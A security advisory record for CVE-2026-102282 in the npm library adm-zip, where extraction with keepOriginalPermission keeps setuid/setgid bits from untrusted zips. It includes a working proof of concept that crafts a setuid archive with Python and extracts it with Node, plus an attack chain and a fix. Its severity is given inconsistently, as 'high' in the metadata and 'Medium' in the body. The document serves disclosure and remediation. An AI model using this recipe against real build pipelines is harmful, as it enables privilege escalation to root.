---
id: CVE-2026-102282
aliases:
  - GHSA-j5f4-cc29-5x44
title: >-
  adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local
  privilege escalation
summary: >-
  adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local
  privilege escalation
severity: high
cvss: 7.1
cwe:
  - CWE-732
vendor: adm-zip
product: adm-zip
ecosystem: npm
affected:
  - adm-zip <= 0.6.0
patched:
  - adm-zip 0.6.1
published: '2026-09-29'
updated: '2026-09-29'
sourceUpdated: '2026-09-29T18:25:04Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-j5f4-cc29-5x44'
references:
  - url: >-
      https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44
  - url: >-
      https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87
  - url: 'https://github.com/cthackers/adm-zip/releases/tag/v0.6.1'
  - url: 'https://github.com/advisories/GHSA-j5f4-cc29-5x44'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-29T18:42:35.829Z'
---

## Overview

## Summary

adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.

## Details

The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:

```js
// headers/entryHeader.js:187
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}
```

`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.

When the flag is on, that value goes straight to the write:

```js
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
```

```js
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
```

No `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.

## PoC

Tested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.

1. Craft a zip with a setuid binary using standard tooling (this is the
   realistic attacker path — no adm-zip APIs involved in creating it):

```bash
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(zi, '#!/bin/sh\nid\n')
"
```

2. Extract with the flag enabled:

```js
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755   (setuid bit set — the file is root-owned if the extractor runs as root)
```

3. Control — same zip, default extraction (`keepOriginalPermission=false`):
   mode comes out `0666`, no setuid. The flag is the enabler.

Alternative supply path, if the zip is built in-process with adm-zip's own API:

```js
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
```

## Impact

Privilege escalation. 
The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.

Realistic chain:

1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.
3. The root-owned setuid file leaves the build, typically preserved by  `cp -a`/rsync mode-bit propagation, into the runtime environment.
4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.

Who is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. 
Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. 
Severity: Medium

Suggested fix, one line in the getter:

```js
get fileAttr() {
    return (_attr >> 16) & 0o777;
}
```

## Affected packages

- `adm-zip <= 0.6.0`

## Remediation

Upgrade to a patched release:

- `adm-zip 0.6.1`
